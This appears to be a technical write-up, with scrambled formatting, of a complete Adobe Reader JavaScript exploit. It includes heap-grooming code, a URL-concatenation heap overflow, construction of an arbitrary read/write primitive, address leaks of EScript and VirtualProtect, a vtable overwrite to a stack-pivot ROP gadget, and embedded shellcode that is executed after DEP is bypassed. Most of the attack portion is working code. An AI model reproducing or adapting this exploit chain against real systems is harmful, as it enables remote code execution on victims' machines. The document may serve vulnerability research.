BitmapData
in the UserBlock Header.DEP, Data Execution Prevention
The protection technique that prevents commands from being executed in areas that must not be executed code, such as Stack and Heap.
We can bypass the DEP by granting the rwx authority to the area where Stack Pivoting was performed using the VirtualProtect
function after performing Stack Pivoting.
[Fig 1] Overview of all Exploit process
byteLength
of the ArrayBuffer adjacent to the concatenated URL into a very large number.var strRelUrlSize = 0x600;
var strConUrlSize = 0x800;
function createArrayBuffer(blocksize) {
var arr = new ArrayBuffer(blocksize - 0x10);
var u8 = new Uint8Array(arr);
for (var i = 0; i < arr.byteLength; i++) {
u8[i] = 0x42;
}
return arr;
}
// 1. Prepare the LFH heap space to store a string that will overwrite the byteLength. (And store the string)
var arrB = new Array(0xE0);
var sprayStr1 = unescape('%uFFFF%uFFFF%uFFFF%uFFFF%u0000') + unescape('%uFFFF').repeat((strRelUrlSize / 2) - 1 - 5);
for (var i = 0; i < arrB.length; i++) {
arrB[i] = sprayStr1.substr(0, (strRelUrlSize / 2) - 1).toUpperCase();
}
// 2. Prepare space to store the relativeURL between the prepared string (by making holes).
for (var i = 0x11; i < arrB.length; i += 10) {
arrB[i] = null;
arrB[i] = undefined;
}
// 3. Prepare LFH heap space to store concatenated URL
var arrA = new Array(0x130);
for (var i = 0; i < arrA.length; i++) {
arrA[i] = createArrayBuffer(strConUrlSize);
}
// 4. Specify the space for the concatenated URL between heap allocated as ArrayBuffers in the LFH (by making holes).
for (var i = 0x11; i < arrA.length; i += 10) {
arrA[i] = null;
arrA[i] = undefined;
}
// Garbage Collection (To free ArrayBuffers which became hole - The space for URLs)
// To store URLs in the desired space, GC must be executed.
gc();
Prepare the LFH heap space to store a string that will overwrite the byteLength. (And store the string)
0x600 byte
) to the array, arrB
.%u
indicates the Unicode encoding.%u
are encoded to Unicode. (%u
????
) sprayStr1.substr(0, (strRelUrlSize / 2) - 1).toUpperCase();
generates (strRelUrlSize/2) - 1
Unicode characters except 2 byte of Null Terminator.strRelUrlSize
strRelUrlSize - 2 = (strRelUrlSize/2) - 1
Prepare space to store the relativeURL between the prepared string (by making holes).
Prepare LFH heap space to store concatenated URL
Generate the LFH space to store the concatenated URL by allocating several heap chunks with the length of the concatenated URL (0x800 byte
).
The size of the URL and heap header used for Exploit
How are URLs stored?
try {
this.submitForm('relative URL');
} catch (err) { }
ortry {
app.launchURL('bb' + 'a'.repeat(0x2608 - 2 - 0x200 - 1 -0x8));
} catch(err) {}
etc.11 0 obj
<<
/Base <FEFF68747470733A2F2F7777772E61612E636F6D2F414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141412F>
>>
The process of concatenating Relative and Base URL
byteLength
of ArrayBuffer right next to the string to a very high value.Specify the space for the concatenated URL between the heap allocated as ArrayBuffers in the LFH (by making holes).
[Fig 2] Schematic Diagram of the process, Preparing Heap Layout
function triggerHeapOverflow() {
try {
app.launchURL('bb' + 'a'.repeat(0x2608 - 2 - 0x200 - 1 -0x8));
} catch(err) {}
}
byteLength
field of ArrayBuffer adjacent to the heap space which stores the concatenated URL. [Fig 3] The contents of the heaps(ArrayBuffer) which are the heap that stores concatenated URL and the heap right next to it after storing the base URL
[Fig 4] The contents of the heaps(ArrayBuffer) which are the heap that stores concatenated URL and the heap right next to it after concatenating URLs
// 1. Construct relative r/w primitive
// We can read and write the memory starting from r/w primitive as base using index (Out Of Bound, OOB index).
for (var i = 0; i < arrA.length; i++) {
if (arrA[i] != null && arrA[i].byteLength == 0xFFFF) {
var temp = new DataView(arrA[i]);
temp.setInt32(0x7F0 + 0x8 + 0x4, 0xFFFFFFFF, true);
}
if (arrA[i] != null && arrA[i].byteLength == -1) {
var rw = new DataView(arrA[i]);
break;
}
}
// 2. Get the base address (VA) of OOB (oob base; StartAddr)
// We can manage the memory at the arbitrary VA
if (rw) {
curChunkBlockOffset = rw.getUint8(0xFFFFFFED, true);
BitMapBufOffset = curChunkBlockOffset * (strConUrlSize + 8) + 0x18
for (var i = 0; i < 0x30; i += 4) {
BitMapBufOffset += 4;
signature = rw.getUint32(0xFFFFFFFF + 1 - BitMapBufOffset, true);
if (signature == 0xF0E0D0C0) {
BitMapBufOffset -= 0xC;
BitMapBuf = rw.getUint32(0xFFFFFFFF + 1 - BitMapBufOffset, true);
break;
}
}
if (BitMapBuf) {
StartAddr = BitMapBuf + BitMapBufOffset - 4;
}
}
[Fig 5] The schematic diagram of how to get r/w primitive
byteLength
field of the ArrayBuffer adjacent to the concatenated URL becomes overwritten to 0xFFFF
.byteLength
of ArrayBuffer to -1. This ArrayBuffer is next to the ArrayBuffer overwritten at process 0..0xFFFF
on the location of byteLength
to find out the ArrayBuffer adjacent to the concatenated URL.byteLength
to 0xFFFFFFFF (-1) whose ArrayBuffer is next to the found ArrayBuffer.byteLength
becomes -1, then we can manage the entire memory space relatively (with its ArrayBuffer as the base).byteLength
was overwritten to -1.Find the VA (Virtual Address) of the R/W primitive mentioned above.
[Fig 6] The diagram to find VA of r/w primitive using UserBlock structure
Get chunk number from Heap Chunk Header of Heap Chunk whose byteLength field is overwritten to -1.
Calculate the offset between the R/W primitive and the starting position of the Heap Chunk Header of Heap Chunk.
chunk size
is the size of Heap Chunk which stores the concatenated URL. This is 0x808 byte.offset = chunk number * chunk size + 0x08 + 0x10
Calculate offset between R/W primitive and signature (0xF0E0D0C0) which is set by LFH Userblock.
4 * m
in the below formula.offset = chunk number * chunk size + 0x08 + 0x10 + 4 * m
Leak VA of BitmapData field in structure UserBlock
: Using the structure of structure UserBlock, get the VA of BitmapData which is stored at Pointer
noticed at [Fig 6].
Pointer
(BusyBitmap.Buffer
) is located 0x0C byte above from Signature. Therefore, we can get the offset between the R/W primitive and the address where BitmapData is stored by subtracting 0x0C byte from the offset calculated at 3..offset = chunk number * chunk size + 0x08 + 0x10 + 4 * m - 0x0C
&BitmapData = rw.getUint32(0xffffffff+0x1-offset, true)
[Fig 7] The structure of UserBlock Header
Calculate the VA of R/W primitive (startAddr
)
Pointer
and BitmapData
(: The size of Pointer
, 0x04 byte)offset = chunk number * chunk size + 0x08 + 0x10 + 4 * m - 0x0c
startAddr = rw.getUint32(0xffffffff+0x1-offset, true) + offset - 0x04
We can access the entire memory space by address using the VA of R/W primitive.
function readUint32(dataView, readAddr) {
var offsetAddr = readAddr - StartAddr;
if (offsetAddr < 0) {
offsetAddr = offsetAddr + 0xFFFFFFFF + 1;
}
return dataView.getUint32(offsetAddr, true);
}
function writeUint32(dataView, writeAddr, value) {
var offsetAddr = writeAddr - StartAddr;
if (offsetAddr < 0) {
offsetAddr = offsetAddr + 0xFFFFFFFF + 1
}
return dataView.setUint32(offsetAddr, value, true);
}
The above two functions help to manage (read, write) the memory whose VA is readAddr
and writeAddr
respectively.
Operation Process
var heapSegmentSize = 0x10000;
heapSpray = new Array(0x8000);
for (var i = 0; i < 0x8000; i++) {
heapSpray[i] = new ArrayBuffer(heapSegmentSize - 0x10 - 0x8);
}
Perform Stack Pivoting by changing esp
to an arbitrary address. From this Adobe recognizes that address as Stack (Fake Stack).
Of course, the Fake Stack pointed by esp points must have read and written permission.
: For this, we allocated lots of Heap Chunks (Heap Spraying). Because allocated Heap Chunks have read and write permission, the memory pointed by changed esp
has read and write permission with a high probability.
Why do I focus on the "read and write permission"?
// 1. START Information Leak
// leak the base address of EScript
EScriptModAddr = readUint32(rw, readUint32(rw, StartAddr - 8) + 0xC) - 0x277548;
// leak VirtualProtect address in kernel32.dll used by EScript
VirtualProtectAddr = readUint32(rw, EScriptModAddr + 0x1B0060);
// leak address of vtable
var dataViewObjPtr = rw.getUint32(0xFFFFFFFF + 0x1 - 0x8, true);
var dvShape = readUint32(rw, dataViewObjPtr);
var dvShapeBase = readUint32(rw, dvShape);
var dvShapeBaseClasp = readUint32(rw, dvShapeBase);
// END Information Leak
// 2. Overwrite the address of getProperty in vtable to the address of the ROP gadget
var offset = 0x1050AE;
writeUint32(rw, dvShapeBaseClasp + 0x10, EScriptModAddr + offset);
// 3. Set Shellcode
var shellcode = [0xec83e589, 0x64db3120, 0x8b305b8b, 0x5b8b0c5b, 0x8b1b8b1c, 0x08438b1b, 0x8bfc4589, 0xc3013c58, 0x01785b8b, 0x207b8bc3, 0x7d89c701, 0x244b8bf8, 0x4d89c101, 0x1c538bf4, 0x5589c201, 0x14538bf0, 0xebec5589, 0x8bc03132, 0x7d8bec55, 0x18758bf8, 0x8bfcc931, 0x7d03873c, 0xc18366fc, 0x74a6f308, 0xd0394005, 0x4d8be472, 0xf0558bf4, 0x41048b66, 0x0382048b, 0xbac3fc45, 0x63657878, 0x5208eac1, 0x6e695768, 0x18658945, 0xffffb8e8, 0x51c931ff, 0x78652e68, 0x61636865, 0xe389636c, 0xff535141, 0xb9c931d0, 0x73736501, 0x5108e9c1, 0x6f725068, 0x78456863, 0x65897469, 0xff87e818, 0xd231ffff, 0x00d0ff52];
var shellcodesize = shellcode.length * 4;
// Write Shell Code
for (var i = 0; i < shellcode.length; i++) {
writeUint32(rw, StartAddr + 0x18 + i * 4, shellcode[i]);
}
// 4. Setup new Stack
var newStackAddr = 0x5D000001;
writeUint32(rw, newStackAddr, VirtualProtectAddr); // RIP 1
writeUint32(rw, newStackAddr + 0x4, StartAddr + 0x18); // RIP 2
writeUint32(rw, newStackAddr + 0x8, StartAddr + 0x18); // Arg1 : Starting address of memory (Shellcode will be stored)
writeUint32(rw, newStackAddr + 0xC, shellcodesize); // Arg2 : Size of memory
writeUint32(rw, newStackAddr + 0x10, 0x40); // Arg3 : Protection Constant of memory : 0x40 : Execution Permission
writeUint32(rw, newStackAddr + 0x14, StartAddr + 0x14); // Arg4 : Pointer to store previous Protection Constant
// 5. try to access unknown property
// => call overwritten getProperty(ROP Gadget) in vtable
var foo = rw.execFlowHijack;
0x1050AE: mov esp, 0x5d000001; ret;
esp
is changed to 0x5d000001
.r/w primitive + 0x18
Get the base address of EScript.
a. Using the memory structure of JSObject (DataView, …), get the address of somewhere in EScript.api.
b. Calculate the base address of EScript.api by deducting offset (= 0x277548) from the address obtained at a.. The offset is found using IDA.
Calculate the offset of the VirtualProtect function (= 0x1B0060
) in kernel32.dll using IDA.
.idata segment
in EScript.api.idata segment
represents the import table.Calculate the address of VirtualProtect function in kernel32.dll.
Get VA of property map in DataView Object.
rw
DataView Object, overwrite the address of the getProperty
function to the address of ROP Gadget.rw
DataView Object tries to call the getProperty
function, it calls ROP Gadget
, not the getProperty
function.r/w primitive + 0x18
)Because ROP Gadget changes esp
to 0x5D000001
, we should construct a new stack frame at 0x5D000001
.
In the new Stack, the Exploit is done by the below steps.
[Fig 9] The schematic diagram of New Stack (right before executing ROP Gadget)
a. Grant write authority to the space where Shellcode is stored by calling the VirtualProtect function.
[Fig 10] The schematic diagram of New Stack right before executing
ret
instruction in ROP Gadget (left), and right before executing VirtualProtect function (right)
b. Execute Shellcode
[Fig 11] The schematic diagram of New Stack right after function Prologue of the VirtualProtect (left), and right before executing Shellcode
jmp eip
, not call VirtualProtect
.StartAddr+0x18
, which existed in New Stack, as RIP.StartAddr+0x18
, which is Shellcode.getProperty
function when it refers to the Property that does not exist in the DataView Object. We choose this non-existent Property as execFlowHijack
.getProperty
function by referring to the Property map in the DataView Object which stores the address of the getProperty
function.getProperty
, ROP Gadget is executed.Feedback is always welcome.